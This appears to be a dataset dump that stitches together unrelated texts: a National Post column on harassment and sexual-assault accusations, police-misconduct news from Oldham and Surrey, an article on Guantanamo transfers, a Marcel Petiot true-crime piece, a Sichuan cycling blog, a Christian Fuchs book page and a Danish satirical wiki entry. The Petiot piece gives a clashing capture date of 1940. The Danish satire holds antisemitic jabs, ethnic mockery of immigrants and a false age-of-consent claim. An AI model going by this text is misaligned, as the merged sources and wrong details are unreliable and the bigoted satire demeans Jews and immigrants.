decoded_text stringlengths 4.18k 47.6k |
|---|
I may be able to help.
I refer to the era of extreme delicacy in which we all live, wherein, as a colleague described it, the CBC this week convened a “solemn panel” to discuss the traumatizing effect of rude words (the hideous FHRITP phenomenon) upon women and ask the big question, “What does that say about us as a society?” — and that was before we all learned that a veteran female comedian recently fled a stage in tears after a man in the audience heckled her with lewd suggestions.
It was on Sept. 13, 1993 that I first remember feeling the axis shift.
I was covering a commission of inquiry that was examining the conduct of a wonderful and well-regarded Ontario Court judge named Wally Hryciuk.
A woman, a complainant, named Kelly Smith was testifying.
At the time, she was a 30-year-old assistant Crown attorney in the rough-and-tumble Scarborough courts.
A society that can’t tell the difference anymore has lost its way
Weeping, Smith described how the year before at another court, Hryciuk allegedly had kissed her hard, sending her into a tailspin of uncontrollable crying, frantic teeth-brushing and fears she might have caught a disease from him and would be unable to have children.
It was not the allegation that shocked me — the judge denied it in any case, and he was subsequently vindicated — but its characterization (a kiss being described by a lawyer as “tantamount” to sexual assault) and, even had it happened exactly as Smith said, her grotesque overreaction to it.
I wrote at the time, “If the purpose of this public inquiry is to answer the question, ‘Do we want as a judge a man who French kisses young female Crown attorneys?’, then I believe a secondary question is in order. It is, ‘Do we want as a Crown attorney a young woman who is reduced to irrational hysterics by such a kiss?’
“If the answer to the first question is ‘No’, so must the answer to the second one.”
Hryciuk’s vindication at the Ontario Court of Appeal was then three years away.
At the inquiry itself, in the final report that found he’d acted inappropriately, had engaged in “reckless” sexual humour and which recommended he be removed from office, and certainly in that hearing room that long-ago day, he was an object of contempt, his purported “victims” each and every one praised as brave little souls who had felt powerless.
In the 22 years since, things have only worsened, such that the latest shock-horror-outrage is what happened to the comedian Jen Grant at a printing industry awards dinner on May 13.
This was the Ontario Printing and Imaging Association (OPIA) awards dinner at Toronto’s St. George’s Golf and Country Club.
As the story of Grant’s experience emerged this week — she was harassed by a man whose opening gambit was “There’s a 51% chance that my buddy here will have sex with you and I take the other 49%” and then said, according to Grant, in “a very ‘rapey’ tone, ‘Ohhh, the things I would do to you’ ” — it turns out the whole event was a snafu of misplaced expectations.
The OPIA president, Tracey Preston, said she didn’t hear the heckler from where she was standing at the door but had she, she said, “We would have ceased the show and we would have reacted immediately.”
And the heckler’s employer, a full-service, Quebec-based printing company, publisher and distributor called TC Transcontinental, immediately suspended the offender with pay, apologized and its spokesperson Sylvain Morissette proclaimed, “This is not in our culture and values for sure.”
As for Grant, she felt like she’d brought a knife to a gun fight, she said, because she was under the impression that at corporate gigs like this one, she wasn’t to talk about sex, or be crude, or be able to unload on a heckler as she would have done at a comedy club.
After all, as she wrote on her blog, the gig was “a squeaky clean corporate event IN A COUNTRY CLUB. … I had to be clean at this show and not offend the people in the audience. I felt like I just had to take it.”
Hell, I didn’t know printing companies even had values, that anyone would be surprised that an after-golf tourney night is predictably a bit of a zoo, or that “corporate” or “COUNTRY CLUB” are synonyms for high-minded behaviour.
What I do know is that there’s an ocean between sexual assault and a kiss, however unwanted, between harmful actions and hurtful words, however mean, and between rape and a tone of voice, however leering.
And to answer the big question Peter Mansbridge posed with such heavy sorrow the other night, the society that can’t tell the difference anymore has lost its way.
National Post
• Email: cblatchford@postmedia.com | Twitter: blatchkikiGet the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
AN investigation has been launched into claims that cheeky cops are said to have left a fridge-magnet calling card after smashing into the wrong house.Officers hunting a criminal recalled to prison for breaching his release conditions broke into the home of a couple in Oldham.The family came home to find a hole in their back door, police in the yard, and fridge magnets rearranged to spell "OLDHAM TASK FORCE CALLED".Police bosses have launched an investigation.Aaron West, his partner Leeanne Baker, and their two-year-old son Leighton had only moved into the rented house in Letham Street, Hathershaw, 11 days earlier.Mr West, 20, said: "It's pathetic and childish. I want a written apology."We came back from shopping to find the back door smashed in and on the kitchen work top."The police here didn't tell us much, so I went to the station to ask why."But when I told the desk sergeant I didn't know who they were looking for, they just weren't interested."When I came home I noticed the fridge magnets had been rearranged and said: `OLDHAM TASK FORCE CALLED'."These are for children, they're not for the police to leave a message they've raided your house."It makes me feel they're treating me like some sort of scruff, basically something on the bottom of their shoe and they're laughing at me."I don't find it a laughing matter when my two-year-old son is in bed with a wooden door that can easily be pulled off every night."Mr West said he has only slept for about four hours since the raid. His partner, Leeanne, wears hearing aids and is afraid to be in the house on her own in case she doesn't hear someone breaking in through the boarded up door."My son can't play in the back garden and I've had to write to the chief constable to ask for a new door. I want a written apology so I can show it to my neighbours."I only moved into the street 11 days ago, because it's a quiet area, so I've had to go round to my neighbours and explain I'm not an idiot or a criminal."The back door boarded up makes it look like a crack house."I work for a living. We try hard to keep our heads above water with the baby and everything, so I don't want to be treated like a scruff who hangs about on the streets all day."A spokesman for Greater Manchester Police said: "Acting on the basis of intelligence, officers entered the house as part of a search for a wanted man who had been recalled to prison. The wanted man was not there but was later found and arrested at a nearby address."As regards the alleged use of fridge magnets, we are currently looking into this aspect of the incident. An inspector will now visit the man's house to discuss this with him."The parents of a teenage girl are demanding an apology from Surrey RCMP, after their daughter was handcuffed and taken to the ground in what they say is a case of mistaken identity.
"My daughter, she did nothing. She was on her way to find — what every parent wishes their children start doing — finding her first job," said Garry Auguste.
A video — posted on Facebook and viewed nearly 80,000 times — shows two officers holding down the 16-year-old who yells out profanities and asks the officers to check her identification card.
Family claims Surrey RCMP mistakenly arrested their daughter, add officers didn't ask for ID 4:06
She can be heard yelling, "my name is not LaToya, ask me what my name is."
The video shows the officers looking through her purse, checking her ID and then ease off of her.
"You have no right to touch someone who done nothing... without even identifying the person," said Auguste.
CBC News has agreed to not use the daughter's name since she is a minor and the parents fear she will be harassed on social media.
Surrey RCMP will only confirm that an incident took place and that they're investigating what happened April 28.
"Officers are reviewing the matter and have already met with the family," said Cpl Scotty Schumann of the Surrey RCMP.
'Waiting for the bus'
CBC news cannot confirm what events led up to the incident.
However, according to the girl and Ash Hotti, who took the video, the girl was waiting for her bus at the Newton Exchange Bay.
That's when I started filming. I just thought it was kind of wrong. - Ash Hotti
"People ask me what happened before the video, but honestly there wasn't much to see. She was just standing, waiting for the bus, just like me," said Hotti.
Hotti said he was about a foot-and-a-half away from the girl and heard police asking if her name was LaToya.
"She said no and they asked her a couple more times, asking her different questions like, what are you doing around here, and just kind of like harassing her," he said.
When she began backing away, Hotti said the officers grabbed her, threw her on the ground and handcuffed her.
"That's when I started filming. I just thought it was kind of wrong. She didn't do anything wrong," he said.
'I was panicking, obviously'
The teenage girl said she told officers they had the wrong person when they approached her, calling her a high-risk mental health patient. When the officers continued questioning her, she said she began backing away.
"I was panicking, obviously, because of all the things going on in the world right now — like being in a situation like that is not a position I would want to be in. I was nervous," she said.
She said she is still traumatized from the incident, has trouble sleeping and is suffering from back and head pain.
The family, originally from Haiti, have lived in Surrey for nearly two decades. They say they've always felt safe, until now.
"I never thought something like that would happen here in Canada," said Ruth Auguste, the girl's mother.
The family said they've lost their faith in the local police force.
"I've been telling her to watch out, watch out for whom? For the bad guys, but the first person to victimize her is someone who is supposed to be knowing what to do," said Garry Auguste, who was a former police officer in Haiti.
"The RCMP should know better, and anyone carrying the uniform should know better," he said.
The family is now asking the RCMP to apologize for the incident that it says has humiliated their daughter publicly. They're also asking for a review of the officers' conduct to ensure something like this doesn't happen again.The Federal Bureau of Investigation (FBI) has nearly 1,000 active probes involving the terrorist group Islamic State of Iraq and Syria (ISIS) inside the United States, dozens of law enforcement officials disclose in a letter to President Obama.
The officials are elected sheriffs in Colorado making a case against the administration’s plan to transfer terrorists held at the U.S. military prison in Guantanamo Bay, Cuba to facilities in the state. Forty-one of Colorado’s elected sheriffs fired off the letter after two federal prisons in Florence (Supermax and the U.S. Penitentiary) along with a state complex near Canon City were reviewed by the Pentagon for the potential transfer. The plan is part of the president’s longtime promise to close the top-security compound at the U.S. Naval base in southeast Cuba.
The big question is what will the government do with the remaining captives, indisputably the world’s most dangerous terrorists? Just a few weeks ago Obama’s Defense Secretary said that around half of the remaining 112 prisoners at Gitmo must be locked up “indefinitely.” They include 9/11 masterminds Khalid Sheikh Mohammed (KSM), Ramzi Binalshibh, Ali Abdul Aziz Ali and Mustafa Ahmed Adam al Hawsawi as well as Abd al-Rahim al-Nashiri, the Al-Qaeda terrorist charged with orchestrating the 2000 attack on the Navy destroyer USS Cole.
The administration has considered relocating the captives to military facilities in the U.S., including Ft. Leavenworth in Kansas and the Navy Brig in Charleston, South Carolina. This has ignited outrage among officials in both states. Kansas Senator Pat Roberts was quick to say “not on my watch will any terrorists be placed in Kansas.” Roberts also co-authored a mainstream newspaper op-ed with South Carolina Senator Tim Scott vehemently rejecting the idea. “The notion that Kansas, South Carolina or any other state would be an ideal home for terrorist detainees is preposterous,” the piece reads. “Transferring these prisoners to the mainland puts the well-being of states in danger, posing security risks to the public and wasting taxpayer dollars. The detention facilities at Guantanamo are doing a fantastic job of holding these terrorists.” The governors of both states—Nikki Haley of South Carolina and Sam Brownback of Kansas—have also vowed to take any action in their power to stop the transfers, including suing the federal government.
Now Colorado is striking back for making the Pentagon’s shortlist. In their letter to the White House, the state’s sheriffs say the ill-conceived plan to transfer dangerous foreign enemy combatants to civilian prisons puts their citizens at risk. “We recently learned that the FBI has almost 1,000 active ISIS investigations taking place inside the borders of the United States,” the letter states. “We believe it would be dangerously naive not to recognize that a civilian prison with an untold number of enemy combatant inmates, located in our state, would provide a very tempting target for anyone wishing to either free these detainees or simply wishing to make a political statement.”
The cops cite repeated examples around the globe of coordinated, violent attacks against prisons holding radical Islamic militants. “We strongly protest actions that might well add our sate to the list of locations where such deadly attacks have occurred,” they write. Another big concern is transporting the terrorists across many counties from the facilities under consideration to the federal district courts or federal court of appeals in Denver, creating “many safety and security threats” to communities that must be addressed by local sheriffs.
“In the 1990s, we experienced the dangers and threats to our capital city, Denver, when two domestic terrorists, Timothy McVeigh and Terry Nichols, were tried there,” the letter to Obama says. “Security during that trial was unprecedented. We can only imagine the disruptions and dangers throughout our state if enemy combatants from Guantanamo Bay were routinely transported from Canon City to the heart of our capital city of Denver.”He’s been called Doctor Satan, the Werewolf of Paris, and the Demonic Ogre. Yet the bizarre case of Marcel Andre Henri Felix Petiot—a man beheaded for the murders of 26 people and suspected of claiming dozens more—remains shrouded in mystery. Born in 1897 in Auxerre, France, most accounts maintain that Petiot’s youth was plagued by juvenile delinquency and petty crime. His first diagnosis of mental illness came in 1914, when he was 17 years old.
By 1916, the young Frenchman had volunteered for the French Army in the First World War. After being wounded in battle Petiot was sent to a rest home, where he was arrested and jailed for stealing army supplies and morphine. He received a second diagnosis of mental illness at this time, yet returned to the front in 1918. Not long after his redeployment, Petiot allegedly injured his own foot with a grenade. A third diagnosis of mental instability followed, leading to his discharge with a disability pension.
Petiot enrolled in an accelerated medical education program after the war. He completed his schooling in eight months, interned at a mental hospital in Evreux, and then received his medical degree in 1921. The newfound status seemed only to accelerate his life of crime; Petiot reportedly pilfered addictive narcotics for personal use and distributed them among patients. He performed illegal abortions and stole everything from a stone cross to money out of the town treasury. In 1926, Petiot struck up an affair with Louise Delaveau, the daughter of one of his patients. Delaveau vanished not long after the affair began. While Petiot was never officially implicated in the disappearance, Delaveau may have been his first victim; neighbors said they saw Petiot loading a trunk into his car around the time the girl disappeared. Related: HENRI DÉSIRÉ LANDRU: FRANCE’S SEDUCTIVE SERIAL KILLER That same year, Petiot turned his attention to politics, mounting a successful bid to become mayor of Villeneuve-sur-Yonne. Once again, he exploited his position of power for personal gain—this time by embezzling town funds. Petiot married the daughter of a wealthy local butcher in 1927. They had a son the following year. His shady civic dealings, meanwhile, were catching up to him. After multiple reports of malfeasance, Petiot was suspended and eventually resigned as mayor in 1931. Bizarrely, he still managed to secure an elected seat on the Yonne Departement council in 1932—a position that he lost just a few months later after stealing electricity from the town.
Want more true crime? Sign up for The Lineup’s newsletter, and get the most chilling cases delivered straight to your inbox. Subscribe Yes! I also want to get the Early Bird Books newsletter featuring great deals on ebooks.
With his political career at an end, Petiot moved to Paris. There he faked medical credentials to present himself as an accomplished doctor. The deception worked; Petiot’s reputation drew in patients, and in 1936 he was granted authority to issue death certificates. Rumors of his old scams resurfaced—illegal abortions, excessive prescriptions. Yet it was the rise of Nazi Germany and the German occupation of France in 1940 that led to Petiot’s deadly rampage and his sinister sobriquets. Related: 10 DEMENTED DOCTORS THAT WILL MAKE YOU SICK According to his own account, Petiot worked with the French Resistance during the occupation. He planted booby traps, developed weapons that could kill without leaving forensic evidence, and met with high-ranking Allied commanders. While the veracity of these claims remains largely unsubstantiated, Petiot was cited as a source many years later by Colonel John F. Grombach, the former head of the independent espionage agency known as “The Pond.”
What does seem certain is that Petiot claimed to operate a secret escape route during the occupation. Under the codename Dr. Eugene, Petiot told French Resistance fighters, Jewish refugees, and others wanted by the German government that he could assist in their escape from war-torn Europe to Argentina. For these services, he charged each escapee a fee of 25,000 francs. The proposal was a trap, of course. Petiot told his victims that they required an inoculation before entering Argentina, and used the opportunity to inject them with cyanide. He would then steal their valuables and dispose of the bodies by dumping them in the Seine, burying them in quicklime, or burning them in his fireplace. Related: 5 SUPER-TWISTED SERIAL KILLERS YOU’VE NEVER HEARD OF In March 1944, neighbors complained of a foul stench coming from Petiot’s home in Rue Le Sueur, and of noxious smoke billowing from his chimney. Authorities were summoned. When they searched the premises, they found the remains of numerous victims—including, reportedly, charred human remnants smoldering in the fireplace.
Petiot evaded capture for a short while by adopting an alias and growing out his beard. He was captured in October 1940 and held under suspicion of murder. His trial began in March 1946, by which point coverage of the case had spiraled into a media circus. Petiot maintained his innocence to the end, claiming that he had killed only “enemies of France,” German soldiers and double agents, as part of his work with the Resistance. Related: DID DR. SAM SHEPPARD MURDER HIS WIFE? Authorities, however, could not find any connection between Petiot and the French Resistance. Many of the Resistance groups Petiot named and the exploits that he claimed to have been a part of never existed. Ultimately, Marcel Petiot was found guilty of 26 counts of murder for profit. It was estimated that he netted 200 million francs from his ill-gotten gains. Many suspect he actually claimed upwards of 60 victims. On May 25, 1946, he was beheaded by guillotine.Cycling in Sichuan, China: Towards the broken wedding cake
Country: China
From Emei Shan to Yibin
Days on the bike: 3
Kilometers cycled: 219.18
Average Kilometers per day: 73.06
Total Kilometers cycled till Yibin: 8285.18
Total days travelled till Yibin: 481
Lesson learned: Avoid chilblains, keep your fingers warm at all time
Laughed about: Two little girls staring into Roberto’s mouth
Most wonderful miracle: A sunny day between bamboo, fields and villages
Food we ate: A lot of homemade food
Greatest challenge: Cold and humid wind for Annika, finding a dentist for Roberto
By bike through Yunnan. We left Emei Shan on another foggy day. One and a half days of rest and some self made pancakes were more than enough to bring the power back into our legs after climbing probably 10000000 steps. A rather big street led us to Leshan. From here on we followed a smaller street.
Foggy bamboo forests surrounded us and the further we rode the less traffic we had to cope with. We spent the night camping in the backyard in an industrial area between a group of wild dogs.
By the following morning there was frost everywhere. We packed our things and got on the bikes when the morning fog disappeared and the sun finally came out. The temperature rose quickly, but under plenty of bamboo tunnels it was still cold. Between the villages we passed several fields and gardens. Every tiny piece of land was full of plants, houses or construction. It was hilly and some of the ascents were pretty steep, but short. Every curve was a surprise, because the countryside was full of river views, forests, small villages and fields.
At night we entered a small path towards some fields where we asked a farmer for the permission to pitch our tent. The farmer was so surprised to see some dirty foreign cyclists on his land that a piece of sugarcane fell of his mouth.
Instead of letting us camp he immediately invited us to stay over inside his house. We carried our things there and tried to talk to him and his wife – who understood little of what we told them.
A couple of neighbors came over and our hosts invited them all for dinner. While we were eating, another neighbor came in. He smiled constantly and talked very loud. He appeared very excited talking to our hosts. Just a moment later he grabbed Roberto by the shoulder, took the chopsticks out of our hands and asked us both to follow him. We looked over to our host who also got up from his chair. Roberto and I looked at each other, the neighbor pulled on Roberto’s arm, grabbed my shoulder, softly pushed us away from the table and continued talking like a waterfall. All that time he smiled and I was sure that he does not get to meet too many foreigners. Just a minute later we all were seated in a small minibus heading further south.
About one and a half kilometers later we got out and walked into a public house where the excited neighbor forced a couple of shy young girls to speak English to us. Roberto and I had already been full before the first dinner and after the third my belly was about to explode. It was 8.30 pm when we jumped on the back of our host’s motorbike to get back home. We were just unpacking our isolation mattresses when the farmer offered us a bed to sleep in. His wife prepared a bowl of warm water to wash ourselves. I could not wait to get out of the sweaty clothes and into the warm bed. Roberto got the farmer’s bed, the farmer himself slept on the couch and his wife and I shared her big bed. It was 9 pm, I was slowly getting warm again, the farmer’s wife yawned loudly and we laid down each of us facing her feet towards the other’s face. At the same time all over China people started preparing their New Year’s Eve party, fired fire crackers, drank beer and got together with their friends and family.
We got up at 7 am, it was barely midnight in Germany, my family and friends were probably all celebrating and watching the fireworks. We felt sober, fit and ready to hit the road again. I always thought the Chinese New Year’s in February was the one celebrated in China, but I had to learn, that the Chinese had decided to celebrate both. How could I forget how much they like holidays and days off in China, after the disaster that we had been through in Bishkek thanks to a holiday (the border was closed for five days due to a Muslim Kyrgyz holiday).
It was a cold and foggy morning and the ascents were too short to warm up properly. Around noon the fog disappeared and we were getting closer and closer to the Yangtze Kiang River in Yibin. The road was now so small that we hardly saw any other cars and most street signs were written in Chinese only. But we were prepared: our map was bilingual. Chinese characters are incredibly complicated but with a little bit of creativity I managed to see pictures in them. The characters for “Yibin” looked like two big wedding cakes, one was new and the other was broken or half eaten. So we just asked for the way or followed the broken wedding cake.
In the afternoon we had one last long ascent to climb before we watched down on the town. All I saw was industry, smoke, chimneys and factories. Yibin did not appear like the nicest place to me and we decided not to stay longer than a night or two.
We found a cheap hotel and hung tent and wet clothes when I put my gloves of. Two of my fingers hurt and were swollen on double their usual size. After plenty of internet research I found out that I had two chilblains from the cold and humid wind in the morning. Enough winter – it was time for us to get some sun.
Our second visa extension had to be done soon, Roberto’s wisdom teeth hurt and after comparing all possibilities we decided to change our plans, skip the travel towards the east, get the extension in nearby Leshan, where it takes 2 days only and then travel straight south towards Kunming, the capital of Yunnan province.
Roberto got treatment with a local dentist. We found her searching for food. The entire wall facing the street was made out of glass, three dentist’s chairs stood in the middle of the room, some chairs were squeezed to the wall and in the back of the small room there was the office.
The doctor spoke some English and treated Roberto with something liquid, something red and something bitter for three days. While she looked into his mouth two little and curious girls came closer and watched Roberto’s mouth with the doctor. Privacy – zero.
We never found out what the doctor had been doing there but it was the cheapest (3 $ for each session plus 2.50 $ for medicine afterwards) and most effective treatment he could have gotten.
Madina, a Chinese girl that we had met on the way, called the PSB (Bublic Security Bureau) in Yibin for us to ask whether it was possible to extend our visas there. It wasn’t so we went to Leshan for a third time, got our extension quickly and took the bus back by the following afternoon.
Yibin, which had appeared all ugly and grey to us, surprised us with a modern city center, good food and a beautiful and huge Taoist temple.
When our tent, sleeping bags and washed clothes were finally dry we were ready to hit the road again with the new plan to go south. But the sunshine would have to wait since we had quite some mountains to face in order to get into the warm sunny areas of Yunnan.Last modified: April 25, 2017
Fuchs, Christian. 2014. Digital Labour and Karl Marx. New York: Routledge. ISBN 978-0-415-71615-4.
Turkish translation published by Nota Bene in 2015.
“Digital Labour and Karl Marx” is the first volume of a two-book-long analysis of digital labour. See also the second volume “Culture and Economy in the Age of Social Media“. The two books should best be read in combination.
20% discount on “Digital Labour and Karl Marx” and the related book “Culture and Economy in the Age of Social Media” by ordering on Routledge’s website: See here
Paperback edition
Hardcover edition
Order UK Kindle edition
Order US Kindle edition
Review copy request: To request a review or examination copy email the request, your postal address, phone number, and the details of the journal for which you will review respectively the course in which you will adopt the book to review.copy@taylorandfrancis.com
Press release (April 24, 2014)
Interview about studying the political economy of the media, the Internet and digital labour HTML
How is labour changing in the age of computers, the Internet, and “social media” such as Facebook, Google, YouTube and Twitter? In Digital Labour and Karl Marx, Christian Fuchs attempts to answer that question, crafting a systematic critical theorisation of labour as performed in the capitalist ICT industry. Relying on a range of global case studies – from unpaid social media prosumers or Chinese hardware assemblers at Foxconn to miners in the Democratic Republic of Congo – Fuchs sheds light on the labour costs of digital media, examining the way ICT corporations exploit human labour and the impact of this exploitation on the lives, bodies, and minds of workers.
Contents
List of Figures and Tables xiii
1. Introduction 1
1.1. The Need for Studying Digital Labour 1
1.2. The Disappearance and Return of Karl Marx 9
PART I Theoretical Foundations of Studying Digital Labour 21
2. An Introduction to Karl Marx’s Theory 23
2.1. Introduction 23
2.2. Marx on Work and Labour 25
2.2.1. Work and Labour in Society 25
2.2.2. Labour in Capitalism and Other Class Societies 31
2.2.3. Work in Communism 38
2.3. Marx’s Labour Theory of Value 40
2.3.1. The German Debate on Marx’s Labour Theory of Value 40
2.3.2. A Reconstruction of Marx’s Labour Theory of Value 46
2.3.2.1. Use-Value and Value 46
2.3.2.2. Exchange-Value 49
2.3.2.3. Money and Price 51
2.3.2.4. The Value and Price of Labour-Power 53
2.3.2.5. Surplus Value 55
2.4. Conclusion 57
3. Contemporary Cultural Studies and Karl Marx 59
3.1. Introduction 59
3.2. Lawrence Grossberg: Cultural Studies in the Future Tense 64
3.3. John Hartley: Digital Futures for Cultural and Media Studies 68
3.4. Paul Smith: The Renewal of Cultural Studies 70
3.5. Conclusion 72
4. Dallas Smythe and Audience Labour Today 74
4.1. Introduction 74
4.2. The Importance of Critical Political Economy, Critical Theory and Dallas Smythe 75
4.3. The Renewal of the Audience Labour- and Audience Commodity-Debate 85
4.4. Digital Labour: Capital Accumulation and Commodification on Social Media 96
4.5. Ideology, Play and Digital Labour 122
4.6. A Critique of the Critique of Digital Labour 127
4.7. Conclusion 132
5. Capitalism or Information Society? 135
5.1. Introduction 135
5.2. A Classification of Information Society Theories 137
5.3. An Alternative View of the Information Society 144
5.4. Information Society Indicators: Measuring the Information Society 145
5.5. Conclusion 149
PART II Analysing Digital Labour: Case Studies 153
6. Digital Slavery: Slave Work in ICT-Related Mineral Extraction 155
6.1. Introduction 155
6.2. Marx on Modes of Production 157
6.2.1. Unpaid Work in the Family as Mode of Production 166
6.2.2. Ancient and Feudal Slavery as Modes of Production 167
6.2.3. The Capitalist Mode of Production 168
6.2.4. Informational Productive Forces 169
6.3. Digital Media and Minerals 172
6.4. The Productive Forces of Mineral Extraction in the International Division of Digital Labour: Labour-Power and the Objects, Tools and Products of Labour 174
6.5. The Relations of Production of Mineral Extraction in the International Division of Digital Labour 175
6.6. Conclusion 180
7. Exploitation at Foxconn: Primitive Accumulation and the Formal Subsumption of Labour 182
7.1. Introduction 183
7.2. Foxconn’s Productive Forces in the International Division of Digital Labour: Labour-Power and the Objects, Tools and Products of Labour 185
7.3. Foxconn’s Relations of Production in the International Division of Digital Labour 186
7.4. Conclusion 194
8. The New Imperialism’s Division of Labour: Work in the Indian Software Industry 200
8.1. Introduction 200
8.2. The Indian Software Industry’s Productive Forces in the International Division of Digital Labour: Labour-Power
and the Objects, Tools and Products of Labour 202
8.3. The Indian Software Industry’s Relations of Production in the International Division of Digital Labour 203
8.4. Conclusion 208
9. The Silicon Valley of Dreams and Nightmares of Exploitation: The Google Labour Aristocracy and Its Context 213
9.1. Introduction 213
9.2. Silicon Valley’s Productive Forces in the International Division of Digital Labour: Labour-Power and the Objects,
Tools and Products of Labour 216
9.3. The Relations of Production of Google and the Silicon Valley in the International Division of Digital Labour 218
9.4. Conclusion 231
10. Tayloristic, Housewifized Service Labour: The Example of Call Centre Work 233
10.1. Introduction 234
10.2. The Call Centre’s Productive Forces in the International Division of Digital Labour: Labour-Power and the Objects, Tools and Products of Labour 235
10.3. The Call Centre’s Relations of Production in the ICT Industry’s Global Value Chain 236
10.4. Conclusion 238
11. Theorizing Digital Labour on Social Media 243
11.1. Introduction 244
11.2. Users and the Productive Forces in the International Division of Digital Labour: Labour-Power and the Objects, Tools and Products of Labour 245
11.3. Users and the Relations of Production in the ICT Industry’s Global Value Chain 246
11.3.1. Digital Work on Social Media 247
11.3.2. Digital Labour 254
11.3.3. Digital Labour and the Law of Value on Social Media 275
11.4. Conclusion 280
PART III Conclusions 283
12. Digital Labour and Struggles for Digital Work:The Occupy Movement as a New Working-Class Movement? Social Media as Working-Class Social Media? 285
12.1. Conclusion of Chapters 2–11 286
12.2. Digital Work and the Commons 297
12.3. The Occupy Movement: A New Working-Class Movement? 308
12.3.1. Social Movement Theory 309
12.3.2. The Occupy Movement in Contemporary Political Theory 311
12.3.3. The Occupy Movement’s Self-Understanding 316
12.3.4. What Is the Occupy Movement? 321
12.4. Occupy, Digital Work and Working-Class Social Media 323
12.4.1. Social Movements, the Internet and Social Media 324
12.4.2. The Occupy Movement and Social Media 326
12.4.2.1. Position 1—Technological Determinism:
The Occupy Movement (and Other Rebellions) Are Internet Rebellions 326
12.4.2.2. Position 2—Social Constructivism:We Have Been Witnessing Social Rebellions and Social Revolutions,Where Social Media Have Had Minor Importance; Social Media Are No Relevant Factor in Rebellions 329
12.4.2.3. Position 3—Dualism: Social Media Have Been an Important Tool of the Occupy Movement; There Are Technological and Societal Causes of the Movement 330
12.4.2.4. Position 4—Social Media and Contradictions: A Dialectical View 331
12.4.3. A Theoretical Classification of Social Media Use in the Occupy Movement 333
12.5. Conclusion 340
13. Digital Labour Keywords 348
Absolute Surplus-Value Production, Abstract and Concrete Labour, Accumulation, Alienation; Audience labour, audience commodity; Capital, capitalism; Class society, Collective worker, Commodity, Commodity fetishism, Communism, Concrete labour, Constant capital, Corvée slavery |
holdsfortegnelse vis]
Historie redigér
Landet har tidligere haft status som Europas pekingeser: et lille irriterende dyr, der er stor i kæften, men ikke rigtig kan gøre nogen større skade. Denne selvbestaltede status kan muligvis skyldes, at landet startede som en Grand Danois med magt over det meste af Nordeuropa, hvilket det åbenbart først erkendte ikke længere var tilfældet én dag for sent i 1812.
Men før det var der liv og glade dage i Danernes land. Før Harald Blåtand valgte at gøre os alle sammen kristne, valfartede vore forfædre i vikingetiden på må og få i havene omkring Danmark, og plyndrede og gruppevoldtog alt hvad de kom i nærheden af. I sandhed en historie vi kan være stolte af her i Danmark. "Vi" fik sågar okkuperet Britannien og alt muligt! Og som tiden gik henover Middelalderen, hvor der absolut ingenting skete i Danmark, begyndte vort kongehus at gøre hele Danmark smukkere med byfornyelse og prægtige kongeboliger. Christian 4. nævnes oftest som manden bag alt dette, selvom han ikke rørte en finger. Og på ægte vikinge-maner blev det hele formøblet væk på Napoleons-krige og alkohol.
For siden 1812 har landet opført sig mere moderat, og man forsøgte i stedet at skaffe sig magt ved at parre sig ind i samtlige andre europæiske kongehuse[8], hvilket gik rimeligt godt, men selv dét blev forpurret, da en flok lyssky elementer[9] afskaffede den oplyste enevælde og i stedet indførte Kaos, der dog hurtigt blev afskaffet igen af Stauning.
Da alle amerikanere, verdens selvudnævnte herrefolk, troede, at Danmark er en svensk by, prøvede Anders Fogh i 2004 at få berømmelse ved at sende to undervandsbåde til ørkenkrigen i Irak, for at hjælpe den amerikanske hær. Dette satte Pelle Dam dog en stopper for, og dermed blev han nationalhelt af første klasse.
Derfor, i 2005, fik den jødiske avis; Jude-land Posten (kend den på stjernen) den geniale idé, at male fanden Muhammed[10] på væggen, og man må sige, at det blev et yderst vellykket forsøg, fordi det denne gang skabte en hel del fest i gaderne rundt omkring i Mellemøsten med masser af dannebrogsflag, og det lykkedes endda for Danmark at komme i CNN et par dage.
Se også redigér
Befolkning m.m. redigér
Danmarks befolkning består hovedsageligt af tidligt skadede sent udviklede analfabeter. Det skal dog siges, at der i de seneste år har været en stor befolkningstilvækst af tilflyttere. Hovedsageligt fra Muhamedanien, en del af verden, hvor IQ-kvotienten siges at være otte gange så høj som i Danmark. Deres mest prominente frontfigur er Naser Khader, som i 2007 stiftede partiet "Ny Alliance", der er et ekskremistisk[12] parti, som vil fordrive alle de ildelugtende fra Danmark. Dette er imidlertid ikke lykkedes endnu, og i dag udgør det fækalt udfordrede mindretal 36 pct. af den danske befolkning.
Den oprindelige danske befolkning bruger al deres tid på at drikke Carlsberg eller andet øl. Deres yndlingsmusik er Lars Lilholt Band, og de er glade for jord. De lever af andre folks ekskrementer eller bacon, men er ellers meget fredelige og joviale.
Danskerne ser med stolthed på det der betragtes som 'Verdens Bedste Folkeskole', hvad jo aldrig kan være løgn når 'Folkeskole' er et dansk ord. Ifølge analyse- og statistikcentralen Eurostasi går op imod 1,5-2% af befolkningen i skole, hvor resten bare er sinker på en-eller-anden grad af forsørgelse, det være sig offentlig eller privat. Den høje fødselsrate skyldes primært at den seksuelle lavalder de facto er på ca. 11 år, selvom ledende eksperter på området[13] siger at den de jure er 15 år.
Danskerne anerkender generelt ikke begrebet 'race', undtagen i forbindelse med hunde, katte, indvandrere og andre af deres husdyr.
Geografi redigér
Danmark er kendt som "de 22 broers land"[14]
Hovedstaden redigér
København[15] er jo, som bekendt, Verdens Europas Nordens Hvideruslands Danmarks areal-mæssigt set største weed-plantage by. Stalingrad er også den by med flest indbyggere i Danmark, hvis man medregner slaverne medarbejderne i Bilka (hvad ingen dog gør)[16][17].
Store sjællandske byer redigér
De sjællandske byer er de største i Skandinavien. Der bor så mange, at der ikke rigtig er nogen der har tal på, hvor mange der bor der. Eksperter på området spår indbyggertallet til at være et sted mellem 2000 og 30 milliarder.
Store fynske byer redigér
På Fyn finder man de største danske byer på Fyn. Fyn er kendetegnet ved at være en landsdel som ikke har accepteret deres tilhørsforhold til Kongeriget Danmark. Istedet arbejder man hårdt på at blive optaget i Republikken Als, fordi HjemIs-bilen eftersigende kører rundt hele to gange om ugen.
Odense - Odense er Fyns største by, og stor tilhænger af Socialdemokratiets politik. Men selvom Odense er den største by på Fyn, så bliver Fyn dog styret fra Vejle
Svendborg - Svend Estridsens hjemby, hvor han lod en borg opføre i sit eget navn. Byen har danmarksrekord i antallet af alkoholikere og narkomaner [19]
Faaborg - Efter Danish Crown lukkede byens slagteri i 2014, er Faaborg gledet ind i glemmebogen som ingenting
Nyborg - Den nyeste af alle borgene på Fyn. Har også en venskabsby i Nordøstengland
